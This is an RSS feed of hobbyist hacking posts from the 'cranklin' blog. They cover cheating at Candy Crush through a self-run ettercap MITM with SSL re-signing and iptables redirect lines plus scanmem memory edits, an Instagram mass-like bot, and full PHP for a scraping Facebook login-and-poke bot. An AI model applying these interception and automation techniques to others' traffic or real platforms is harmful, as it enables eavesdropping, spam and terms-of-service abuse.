<p>Now that I can systematically generate xy coordinates for each geocoded post, I need to figure out a way to make the map turn from grayscale to color only in these areas.  The way accomplished this was to take a grayscale map and layer it on top of a color map.  Next, I would &#8220;punch holes&#8221; into the top layer exposing pieces of the color map below.  These crop circles can be easily generated through GD doing something like this:<br />
<code>imagefilledarc($img, $x, $y, $diameter, $diameter, 0, 360 $transparent, $srcimage, IMG_ARC_PIE);</code><br />
<br />The rest is easy stuff. <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>The site can be viewed at <a href="http://www.earthisamemory.com" target="_blank">www.earthisamemory.com</a> (due to moderation, posts will not appear on the map instantly)</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cranklin.wordpress.com/985/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cranklin.wordpress.com/985/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&#038;blog=18170724&#038;post=985&#038;subd=cranklin&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cranklin.wordpress.com/2013/03/21/converting-geographical-coordinates-to-cartesian-coordinates/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c1f4f7ef7c3d1b74247b015dfef15292?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">cranklin</media:title>
		</media:content>

		<media:content url="http://www.cranklin.com/earthisamemory/worldmap.png" medium="image" />

		<media:content url="http://www.cranklin.com/earthisamemory/namap.png" medium="image" />

		<media:content url="http://www.cranklin.com/earthisamemory/math.jpg" medium="image" />
	</item>
		<item>
		<title>Candy Crush Is a Fun Game&#8230; Let&#8217;s Hack It</title>
		<link>http://cranklin.wordpress.com/2013/01/29/candy-crush-is-a-fun-game-lets-hack-it/</link>
		<comments>http://cranklin.wordpress.com/2013/01/29/candy-crush-is-a-fun-game-lets-hack-it/#comments</comments>
		<pubDate>Tue, 29 Jan 2013 15:09:44 +0000</pubDate>
		<dc:creator>cranklin</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[candy crush]]></category>
		<category><![CDATA[cheat]]></category>
		<category><![CDATA[cheat engine]]></category>
		<category><![CDATA[cheats]]></category>
		<category><![CDATA[cracks]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[flash game]]></category>
		<category><![CDATA[game conqueror]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[scanmem]]></category>

		<guid isPermaLink="false">http://cranklin.wordpress.com/?p=925</guid>
		<description><![CDATA[I noticed a bunch of my friends were playing a game called &#8220;Candy Crush&#8221;. I&#8217;m not much of a gamer nor do I have time to waste on games, but I had to see what the hype was all about. I mean, this game went viral and I want to know what they did right. [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&#038;blog=18170724&#038;post=925&#038;subd=cranklin&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p><img src="http://www.cranklin.com/candycrush/candycrushmap.png" /> I noticed a bunch of my friends were playing a game called &#8220;Candy Crush&#8221;.  I&#8217;m not much of a gamer nor do I have time to waste on games, but I had to see what the hype was all about.  I mean, this game went viral and I want to know what they did right.  So I played it.  It certainly is fun.  I played it for 6 days and reached level 105.  Cool, but there are currently 305 levels and I don&#8217;t wish to waste any more time on this game.  I got curious, so I started logging tcp packets sent back and forth to king.com through the flash client.  I found a few interesting bits of information.  </p>
<p>First, when I put my cursor over any of the beaten levels, I get a little popup image of that level.  Each time I do this, I see the flash client making a GET request to <br /><a href="https://cc1.midasplayer.com/images/levels/XXX.png" rel="nofollow">https://cc1.midasplayer.com/images/levels/XXX.png</a><br /> (replacing XXX with the level number).  Using wget or your browser, you can preview any level you like.  For example, <br /><a href="https://cc1.midasplayer.com/images/levels/320.png" rel="nofollow">https://cc1.midasplayer.com/images/levels/320.png</a><br /> will show you level 320 (which doesn&#8217;t even exist yet).</p>
<p>Second thing I noticed, the flash client polls <a href="https://candycrush.king.com/api/poll" rel="nofollow">https://candycrush.king.com/api/poll</a> and GETs a JSON encoded string with some interesting data:  <br /><b>{&#8220;currentUser&#8221;:{&#8220;userId&#8221;:XXXX,&#8221;lives&#8221;:1,&#8221;timeToNextRegeneration&#8221;:1780,&#8221;gold&#8221;:0,&#8221;unlockedBoosters&#8221;:[],&#8221;soundFx&#8221;:true,&#8221;soundMusic&#8221;:true,&#8221;maxLives&#8221;:5,&#8221;immortal&#8221;:false, &#8220;mobileConnected&#8221;:true}}</b><br />
This data tells your client who you are, how many lives you have, sound settings, max lives&#8230;.. and immortal?  Woah.  It appears the good folks at King have a secret setting called &#8220;immortal&#8221; (which of course defaults to false).  How does one set &#8220;immortal&#8221; to true?  Well, you can get creative.  The idea is to deceive your browser and send it phony data.  One possible solution is to add an entry to your hosts file or nameserver and point to an alternate server.  Another method is to run a MITM attack on yourself and create a custom filter that alters the number of lives, number of max lives, and your immortal status.  In case you haven&#8217;t noticed, it&#8217;s an encrypted request.  So how would we bypass that?  Well, ettercap can re-sign the packet with its own SSL cert (which would trigger a browser warning) but you can simply add the certificate to your exceptions list.  All you need to do is edit /etc/etter.conf and uncomment the appropriate lines for your operating system.  Since I am using Linux, I uncomment: <br />
<code><br />
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"<br />
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"<br />
</code><br />
and I set:<br />
<code><br />
ec_uid = 0<br />
ec_gid = 0<br />
</code></p>
<p>The third thing I noticed while running a MITM attack on an Ipad was that the mobile app version does not use SSL when calling the API.  That makes it even easier to hack than the facebook app.<br /><img src="http://www.cranklin.com/candycrush/wireshark.png" width="1000px" /></p>
<p>Finally, the simplest way to hack Candy Crush (or any other Flash based software) is to tamper with the data in memory.  There is a nifty little tool that you can use for this: scanmem.  On Ubuntu, you can simply run <br /><code>sudo apt-get install scanmem</code><br /> to install it.  To explain scanmem, it&#8217;s a dumbed down version of a hexadecimal editor that allows you to scan/locate/modify areas in memory used by a local process.  It reminds me of the 90&#8242;s when I used to crack copy protection from video games armed with nothing but a debug and zipzap (or gdb and hexedit on linux).  The reason why I say it&#8217;s dumbed down is because it does all the difficult tasks for you.  I can walk you through the cheating process.<br />
1) get the PID for your browser/flash player.  If you use firefox: <code>ps aux |grep flash</code> should return the process ID.<br />
2) run scanmem <br /><code>sudo scanmem</code><br />
3) select the process from scanmem&#8217;s prompt: <br /><code>pid [process ID]</code><br />
<img src="http://www.cranklin.com/candycrush/pid.png" /><br />
4) pinpoint the section of memory that contains the bit of data you are looking for.  If you are trying to give yourself more moves on a certain level, take a look at the number of moves you have left, and enter it in the prompt.  For example, if you have 30 moves left, enter <code>30</code> at the prompt.  It will likely find way too many matches to be useful.  But that&#8217;s okay because scanmem tracks each of these memory locations for you.  Make another move on the game so you have 29 moves left.  Now return to the scanmem prompt and enter <code>29</code>.  The number of matches will reduce.  Repeat the process until it returns 2 matches.  Now you&#8217;ve pinpointed it!<br />
5) change the value in memory.  At the prompt, you type: <br /><code>set 200</code><br /> and it will give you 200 lives.<br />
<img src="http://www.cranklin.com/candycrush/scanmem.png" /><br />
6) reset scanmem.  If you&#8217;re trying to track a different value or the number of moves on a different level, simply type: <code>reset</code>.</p>
<p>(before running the hack)<br />
<img src="http://www.cranklin.com/candycrush/level106.png" /><br />
(after running the hack&#8230; note the number of moves left)<br />
<img src="http://www.cranklin.com/candycrush/level106hacked.png" /></p>
<p>Yes.  It&#8217;s that simple.  Back in the 90&#8242;s, I would have a notebook full of addresses that I considered &#8220;areas of interest&#8221; and use the process of elimination to pinpoint the right value.  *sigh.  Kids these days have it easy.  If you&#8217;re planning on hacking candy crush, this might prove useful:<br />
- number of moves: 2 matches<br />
- bomb timers: 2 matches per bomb<br />
- score: 4 matches<br />
- checklists: 1 match (but not the value they show you on the screen.  The game shows you the number of matches you have left to pass the level.  In memory, it is stored as the number of items you have already destroyed: [Number of items needed to pass]-[Number of items you have left])</p>
<p>Enjoy!<br />
<img src="http://www.cranklin.com/candycrush/level305.png" /></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cranklin.wordpress.com/925/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cranklin.wordpress.com/925/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&#038;blog=18170724&#038;post=925&#038;subd=cranklin&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cranklin.wordpress.com/2013/01/29/candy-crush-is-a-fun-game-lets-hack-it/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c1f4f7ef7c3d1b74247b015dfef15292?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">cranklin</media:title>
		</media:content>

		<media:content url="http://www.cranklin.com/candycrush/candycrushmap.png" medium="image" />

		<media:content url="http://www.cranklin.com/candycrush/wireshark.png" medium="image" />

		<media:content url="http://www.cranklin.com/candycrush/pid.png" medium="image" />

		<media:content url="http://www.cranklin.com/candycrush/scanmem.png" medium="image" />

		<media:content url="http://www.cranklin.com/candycrush/level106.png" medium="image" />

		<media:content url="http://www.cranklin.com/candycrush/level106hacked.png" medium="image" />

		<media:content url="http://www.cranklin.com/candycrush/level305.png" medium="image" />
	</item>
		<item>
		<title>Say Hi To My Instagram Bots</title>
		<link>http://cranklin.wordpress.com/2012/11/29/say-hi-to-my-instagram-bots/</link>
		<comments>http://cranklin.wordpress.com/2012/11/29/say-hi-to-my-instagram-bots/#comments</comments>
		<pubDate>Thu, 29 Nov 2012 08:25:39 +0000</pubDate>
		<dc:creator>cranklin</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[automate]]></category>
		<category><![CDATA[bot]]></category>
		<category><![CDATA[bots]]></category>
		<category><![CDATA[followbot]]></category>
		<category><![CDATA[followers]]></category>
		<category><![CDATA[follows]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[instagram]]></category>
		<category><![CDATA[instagrambot]]></category>
		<category><![CDATA[likebot]]></category>
		<category><![CDATA[likes]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[pycurl]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://cranklin.wordpress.com/?p=867</guid>
		<description><![CDATA[I like Instagram. I can do a hashtag search of &#8220;chevy&#8221; or &#8220;silverado&#8221; and stare at trucks all day. The problem is, I don&#8217;t have the time. I wish I could be more active on Instagram, but that is a luxury I do not have. If only I could automate my Instagram activity&#8230; If only&#8230; [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&#038;blog=18170724&#038;post=867&#038;subd=cranklin&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p><img src="http://www.cranklin.com/igbot/InstagramLogo.jpeg" width="500px" /><br />
I like Instagram.  I can do a hashtag search of &#8220;chevy&#8221; or &#8220;silverado&#8221; and stare at trucks all day.  The problem is, I don&#8217;t have the time.  I wish I could be more active on Instagram, but that is a luxury I do not have.  If only I could automate my Instagram activity&#8230;<br />
<br />
If only&#8230;</p>
<p>Ha!  Are you kidding me?  You bet I can automate my Instagram activity!</p>
<p>I want to create a bot that searches specific hashtags and likes each photo.  Instagram has a web interface for viewing profiles, liking, and commenting.  However, it is limited because it doesn&#8217;t allow you to search hashtags.  That&#8217;s okay though.  There are several independent websites that utilize the Instagram API to allow users to browse Instagram photos online; I can just abuse one of those.</p>
<p>First, I needed to choose one of the several Instagram web viewers:  web.stagram.com, webstagr.am, ink361.com, statigr.am, etc etc.  I picked web.stagram.com because there is minimal ajax and that makes my life easier.<br />
<br />
Next, I needed to do some http post/get recon work like I did for the <a href="http://cranklin.wordpress.com/2012/11/05/my-nuclear-facebook-poking-bot/" target="_blank">Facebook bots</a>.  Firebug proves very useful here.<br />
<br />
I decided to write this bot in Python using the pycurl library.  It didn&#8217;t take very long to build (a couple hours while watching TV?).  First I tried running it against these hashtags: &#8220;linux&#8221;, &#8220;silverado&#8221;, &#8220;chevy&#8221;, &#8220;z71&#8243;.  The bot did what I expected and liked all of the photos I would normally like.  Nice!  But then I started getting a little greedy and wanted to engage a lot more Instagramers (instagrammers?).  So I looked for a list of the most popular Instagram hashtags.  Here is a snippet of the list:</p>
<p><code>1.  #love (+)   100,106,232 photos<br />
2.  #instagood (+)  72,788,208 photos<br />
3.  #me (+)     56,885,413 photos<br />
4.  #cute (+)   53,136,368 photos<br />
5.  #photooftheday (+)  52,173,843 photos<br />
6.  #tbt (+)    51,407,782 photos<br />
7.  #instamood (+)  48,298,484 photos<br />
8.  #iphonesia (+)  40,101,981 photos<br />
9.  #picoftheday (+)    39,740,152 photos<br />
10.     #igers (+)  39,234,496 photos<br />
11.     #girl (+)   38,888,469 photos<br />
12.     #beautiful (+)  38,754,532 photos</code><br />
<br />
If I run each of these hashtags through my bot, I can engage a LOT of people!  So I did exactly that&#8230;  </p>
<p><img src="http://www.cranklin.com/igbot/igbot.png" /></p>
<p>It worked well.  A little too well.  I took a look at the list of &#8220;photos I liked&#8221;.  With no discretion whatsoever, my bot liked everything!  Not only did it like photos of scantily clad women (oops?), but it liked photos of topless men (wth!), and photos of underage girls and boys (Yikes! Why the heck are you kids on Instagram?). Oops&#8230; I swear it wasn&#8217;t me!  It was my bot!<br />
<br />
<img src="http://www.cranklin.com/igbot/igbot2.png" /> </p>
<p>Now I feel like a creep.  If I keep running the bot, I suppose I can gain lots of new followers&#8230; but at what cost?  Looking like a creep.  Is it worth it?  Maybe.  </p>
<p>I invite you to check out the source code if you&#8217;re looking to build and study bots.  <a href="https://github.com/cranklin/Instagram-Bot">Download from github</a>.  Please don&#8217;t abuse this bot.  The truth is, I like Instagram and I don&#8217;t want it to be saturated with spammers.</p>
<p>Update:<br />
Instagram didn&#8217;t find my bot too amusing.  They disabled my account and removed all my photos.  Yes, I have the the direct URI for some of my Instagram photos (on S3) and even those stopped working.  So&#8230; just a fair warning: If you&#8217;re trying to run this bot to get followers, you may end up losing your account.  I only ran this bot for a full 2 days (and I was gaining 1-200 followers a day) before my account was disabled.</p>
<p><a href="http://instagram.com/p/Sqn6tqpyra"><img src="http://distilleryimage2.s3.amazonaws.com/fd3218403b2611e29b6422000a1c00c6_7.jpg" width="500px" /></a></p>
<p>So my @cranklin account is gone and I&#8217;m starting from scratch with @crankerson  <img src='http://s0.wp.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cranklin.wordpress.com/867/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cranklin.wordpress.com/867/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&#038;blog=18170724&#038;post=867&#038;subd=cranklin&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cranklin.wordpress.com/2012/11/29/say-hi-to-my-instagram-bots/feed/</wfw:commentRss>
		<slash:comments>243</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c1f4f7ef7c3d1b74247b015dfef15292?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">cranklin</media:title>
		</media:content>

		<media:content url="http://www.cranklin.com/igbot/InstagramLogo.jpeg" medium="image" />

		<media:content url="http://www.cranklin.com/igbot/igbot.png" medium="image" />

		<media:content url="http://www.cranklin.com/igbot/igbot2.png" medium="image" />

		<media:content url="http://distilleryimage2.s3.amazonaws.com/fd3218403b2611e29b6422000a1c00c6_7.jpg" medium="image" />
	</item>
		<item>
		<title>My Nuclear Facebook Poking Bot</title>
		<link>http://cranklin.wordpress.com/2012/11/05/my-nuclear-facebook-poking-bot/</link>
		<comments>http://cranklin.wordpress.com/2012/11/05/my-nuclear-facebook-poking-bot/#comments</comments>
		<pubDate>Mon, 05 Nov 2012 16:00:15 +0000</pubDate>
		<dc:creator>cranklin</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[automated]]></category>
		<category><![CDATA[automatic]]></category>
		<category><![CDATA[bot]]></category>
		<category><![CDATA[bots]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[nuclear]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[poke]]></category>
		<category><![CDATA[pokebot]]></category>
		<category><![CDATA[pokes]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://cranklin.wordpress.com/?p=781</guid>
		<description><![CDATA[You can&#8217;t beat me in a Facebook poke battle. Here&#8217;s why&#8230; I have been way too busy and it sucks. It sucks because: Too much work means no free time No free time means no time for fun little projects No fun little projects means I go crazy Going crazy means I can&#8217;t get work [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&#038;blog=18170724&#038;post=781&#038;subd=cranklin&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p><img src="http://www.cranklin.com/pokebot/pokebotphoto5.png" /><br />
<img src="http://www.cranklin.com/pokebot/pokebotphoto6.png" /><br />
<img src="http://www.cranklin.com/pokebot/pokebotphoto7.png" /><br />
<img src="http://www.cranklin.com/pokebot/pokebotphoto9.png" /><br />
<img src="http://www.cranklin.com/pokebot/pokebotphoto8.png" /></p>
<h2>You can&#8217;t beat me in a Facebook poke battle.  Here&#8217;s why&#8230;</h2>
<p>I have been way too busy and it sucks.  It sucks because:</p>
<p>Too much work means no free time<br />
No free time means no time for fun little projects<br />
No fun little projects means I go crazy<br />
Going crazy means I can&#8217;t get work done</p>
<p>It&#8217;s a vicious cycle.</p>
<p>So what do I do while I suffer from coder&#8217;s block?  I waste a good amount of time zoning out on Facebook.</p>
<h3>The Conception</h3>
<p>One of the most annoying Facebook features are the stupid/pointless pokes.  After wasting a good 30 minutes on an intense back and forth poke battle, I decided it would be a good idea to make a poke bot.  Can you imagine that?  I could be drifting away in my swimming pool while my bots win all my poke battles for me!</p>
<p><img src="http://www.cranklin.com/pokebot/pokebotphoto2.png" /><br />
The lack of enthusiasm only reassured my itch to build a nuclear facebook poke bot.</p>
<p>I have always shied away from making Facebook-related bots because Facebook works hard to prevent bots and I hear that Facebook bots are difficult to make.  Oh well.  Time to overcome my fears.</p>
<h3>Hacking Facebook</h3>
<p>First, I look at the Facebook page that gives me the list of all the people that poked me.  That would be:<br />
<code><a href="https://www.facebook.com/pokes?notif_t=poke" rel="nofollow">https://www.facebook.com/pokes?notif_t=poke</a></code><br />
Next, I examine the &#8220;poke back&#8221; link.  The links aren&#8217;t much help to me since Facebook &#8220;ajaxifies&#8221; the link.  So, I fire up Firebug to examine the GET or POST requests my browser makes when I click &#8220;poke back&#8221;.  Firebug reveals that it is a POST request to <code><a href="https://www.facebook.com/ajax/pokes/poke_inline.php" rel="nofollow">https://www.facebook.com/ajax/pokes/poke_inline.php</a></code> with these parameters:</p>
<pre>
<code>
    __a = 1 
    __user = 556970868
    fb_dtsg = AQC_K43G
    nctr[_mod] = pagelet_pokes
    phstamp = 1658167957552517190
    pokeback = 1 
    uid = 1011739365
</code>
</pre>
<p>While logged into Facebook, I open up a new tab with a quick and dirty HTML form that posts to that URL with these parameters as hidden inputs.  It works!  Cool.  </p>
<p>Next, I do the same Firebug probe on the homepage so I can find the necessary POST parameters to log into Facebook.  To log into Facebook, Firebug shows me that I need these parameters:</p>
<pre>
<code>
charset_test    €,´,€,´,水,Д,Є
default_persistent  1
email   email
lgnjs   1352019805
lgnrnd  010313_fdAk
locale  en_US
lsd AVq9lE5u
pass    password
persistent  1
timezone    480 
</code>
</pre>
<p>Now, some of these values are dynamically generated, so the bot would first need to scrape and populate the post parameters before it can post.  A similar process would be necessary to do the actual poking.</p>
<h3>The Build</h3>
<p>All I had left was to put it together.  Here is the source code:</p>
<pre class="brush: php; auto-links: false; collapse: true; light: false; title: ; toolbar: true; notranslate">
&amp;lt;?php
// your facebook credentials
$username = &amp;quot;email&amp;quot;;
$password = &amp;quot;password&amp;quot;;

// access to facebook home page (to get the cookies)
$curl = curl_init ();
curl_setopt ( $curl, CURLOPT_URL, &amp;quot;http://www.facebook.com&amp;quot; );
curl_setopt ( $curl, CURLOPT_FOLLOWLOCATION, 1 );
curl_setopt ( $curl, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt ( $curl, CURLOPT_ENCODING, &amp;quot;&amp;quot; );
curl_setopt ( $curl, CURLOPT_COOKIEJAR, getcwd () . '/cookies.txt' );
curl_setopt ( $curl, CURLOPT_USERAGENT, &amp;quot;Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)&amp;quot; );
$curlData = curl_exec ( $curl );
curl_close ( $curl );

// do get some parameters for login to facebook
$charsetTest = substr ( $curlData, strpos ( $curlData, &amp;quot;name=\&amp;quot;charset_test\&amp;quot;&amp;quot; ) );
$charsetTest = substr ( $charsetTest, strpos ( $charsetTest, &amp;quot;value=&amp;quot; ) + 7 );
$charsetTest = substr ( $charsetTest, 0, strpos ( $charsetTest, &amp;quot;\&amp;quot;&amp;quot; ) );

$default_persistent = 1;

$lgnjs = time();

$lgnrnd = substr($curlData, strpos($curlData, &amp;quot;name=\&amp;quot;lgnrnd\&amp;quot;&amp;quot;));
$lgnrnd = substr($lgnrnd, strpos($lgnrnd, &amp;quot;value=&amp;quot;)+7);
$lgnrnd = substr($lgnrnd, 0, strpos($lgnrnd,&amp;quot;\&amp;quot;&amp;quot;));

$locale = substr ( $curlData, strpos ( $curlData, &amp;quot;name=\&amp;quot;locale\&amp;quot;&amp;quot; ) );
$locale = substr ( $locale, strpos ( $locale, &amp;quot;value=&amp;quot; ) + 7 );
$locale = substr ( $locale, 0, strpos ( $locale, &amp;quot;\&amp;quot;&amp;quot; ) );

$lsd = substr ( $curlData, strpos ( $curlData, &amp;quot;name=\&amp;quot;locale\&amp;quot;&amp;quot; ) );
$lsd = substr ( $lsd, strpos ( $lsd, &amp;quot;value=&amp;quot; ) + 7 );
$lsd = substr ( $lsd, 0, strpos ( $lsd, &amp;quot;\&amp;quot;&amp;quot; ) );

$persistent = 1;

$timezone = 480;

// login to facebook
$curl = curl_init ();
curl_setopt ( $curl, CURLOPT_URL, &amp;quot;https://login.facebook.com/login.php?login_attempt=1&amp;quot; );
curl_setopt ( $curl, CURLOPT_FOLLOWLOCATION, 1 );
curl_setopt ( $curl, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt ( $curl, CURLOPT_POST, 1 );
curl_setopt ( $curl, CURLOPT_SSL_VERIFYPEER, false );
curl_setopt ( $curl, CURLOPT_POSTFIELDS, &amp;quot;charset_test=&amp;quot; . $charsetTest . &amp;quot;&amp;amp;locale=&amp;quot; . $locale . &amp;quot;&amp;amp;email=&amp;quot; . $username . &amp;quot;&amp;amp;pass=&amp;quot; . $password . &amp;quot;&amp;amp;lsd=&amp;quot; . $lsd . &amp;quot;&amp;amp;default_persistent=&amp;quot; . $default_persistent . &amp;quot;&amp;amp;lgnjs=&amp;quot; . $lgnjs . &amp;quot;&amp;amp;lgnrnd=&amp;quot; . $lgnrnd . &amp;quot;&amp;amp;persistent=&amp;quot; . $persistent . &amp;quot;&amp;amp;timezone=&amp;quot; . $timezone);
curl_setopt ( $curl, CURLOPT_ENCODING, &amp;quot;&amp;quot; );
curl_setopt ( $curl, CURLOPT_COOKIEFILE, getcwd () . '/cookies.txt' );
curl_setopt ( $curl, CURLOPT_COOKIEJAR, getcwd () . '/cookies.txt' );
curl_setopt ( $curl, CURLOPT_USERAGENT, &amp;quot;Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)&amp;quot; );
$curlData = curl_exec ( $curl );
//echo $curlData;


// enter infinte poke loop
while(true){
    $curl = curl_init ();
    curl_setopt ( $curl, CURLOPT_URL, &amp;quot;https://www.facebook.com/pokes?notif_t=poke&amp;quot; );
    curl_setopt ( $curl, CURLOPT_FOLLOWLOCATION, 1 );
    curl_setopt ( $curl, CURLOPT_RETURNTRANSFER, 1 );
    curl_setopt ( $curl, CURLOPT_ENCODING, &amp;quot;&amp;quot; );
    curl_setopt ( $curl, CURLOPT_COOKIEFILE, getcwd () . '/cookies.txt' );
    curl_setopt ( $curl, CURLOPT_COOKIEJAR, getcwd () . '/cookies.txt' );
    curl_setopt ( $curl, CURLOPT_USERAGENT, &amp;quot;Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)&amp;quot; );
    $pokeData = curl_exec ( $curl );
    //echo $pokeData;

    preg_match_all(&amp;quot;/&amp;lt;div class=\&amp;quot;pokeHeader fsl fwb fcb\&amp;quot;&amp;gt;&amp;lt;a href=\&amp;quot;(.*?)\&amp;quot; data-hovercard=\&amp;quot;\/ajax\/hovercard\/user.php\?id
=([0-9]*)\&amp;quot;&amp;gt;([^&amp;lt;]*)&amp;lt;\/a&amp;gt; has poked you.&amp;lt;\/div&amp;gt;/&amp;quot;,$pokeData,$matches,PREG_SET_ORDER);

    if(sizeOf($matches)){
        $userid = substr ( $pokeData, strpos($pokeData, &amp;quot;\&amp;quot;user\&amp;quot;:&amp;quot;) + 8);
        $userid = substr ( $userid, 0, strpos($userid, &amp;quot;\&amp;quot;&amp;quot;));

        $fb_dtsg = substr ( $pokeData, strpos ( $pokeData, &amp;quot;name=\&amp;quot;fb_dtsg\&amp;quot;&amp;quot; ) );
        $fb_dtsg = substr ( $fb_dtsg, strpos ( $fb_dtsg, &amp;quot;value=&amp;quot; ) + 7 );
        $fb_dtsg = substr ( $fb_dtsg, 0, strpos ( $fb_dtsg, &amp;quot;\&amp;quot;&amp;quot; ) );

        //echo $userid.&amp;quot; &amp;quot;.$fb_dtsg;
        
        foreach($matches AS $val){
            //echo $val[0].&amp;quot;\n&amp;quot;;
            //echo $val[1].&amp;quot;\n&amp;quot;;
            //echo $val[2].&amp;quot;\n&amp;quot;;
            $uid = $val[2];
            $curl = curl_init ();
            curl_setopt ( $curl, CURLOPT_URL, &amp;quot;https://www.facebook.com/ajax/pokes/poke_inline.php&amp;quot; );
            curl_setopt ( $curl, CURLOPT_FOLLOWLOCATION, 1 );
            curl_setopt ( $curl, CURLOPT_RETURNTRANSFER, 1 );
            curl_setopt ( $curl, CURLOPT_POST, 1 );
            curl_setopt ( $curl, CURLOPT_SSL_VERIFYPEER, false );
            curl_setopt ( $curl, CURLOPT_POSTFIELDS, &amp;quot;__a=1&amp;amp;nctr[_mod]=pagelet_pokes&amp;amp;pokeback=1&amp;amp;__user=&amp;quot; . $userid . &amp;quot;&amp;amp;fb_dtsg=&amp;quot; . $fb_dtsg . &amp;quot;&amp;amp;uid=&amp;quot; . $uid);
            curl_setopt ( $curl, CURLOPT_ENCODING, &amp;quot;&amp;quot; );
            curl_setopt ( $curl, CURLOPT_COOKIEFILE, getcwd () . '/cookies.txt' );
            curl_setopt ( $curl, CURLOPT_COOKIEJAR, getcwd () . '/cookies.txt' );
            curl_setopt ( $curl, CURLOPT_USERAGENT, &amp;quot;Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)&amp;quot; );
            $pokeresults = curl_exec ( $curl );
            echo &amp;quot;You poked &amp;quot;.$val[3].&amp;quot;!\n&amp;quot;;
            //echo $pokeresults;
        }
    }
    empty($matches);
}
?&amp;gt;
</pre>
<p><a href="https://github.com/cranklin/Nuclear-Facebook-Poke-Bot" target="_blank">Download my nuclear poke bot from git</a></p>
<p><img src="http://www.cranklin.com/pokebot/pokebotphoto4.png" /><br />
Let me tell you, this bot is fast and obnoxious!  Unlike the other lame poke bots you may find, this one is fast, it&#8217;s standalone, and it runs via command line.  It will keep checking your poke notifications page.  If somebody pokes you, it will immediately poke them back and notify you of whom you poked. I left it running all day.  When I checked my computer and looked at the logs, I was able to see which of my poor friends were tenacious enough to put up a fight.</p>
<p><img src="http://www.cranklin.com/pokebot/pokebotphoto1.gif" /><br /><i>If you see this, it means you&#8217;re screwed.</i></br><br />
Looking ahead&#8230; A simple alteration will allow me to poke bomb ALL of my friends.  I may write a Python version, install it on my raspberry pi, and carry around a portable nuclear poking machine. <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>In the end, was the 2 hours spent on developing this bot a waste of time?  No.  It was just what I needed to pull me out of this coding slump.  Plus, I can now outpoke ANYBODY.  <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Winning!</p>
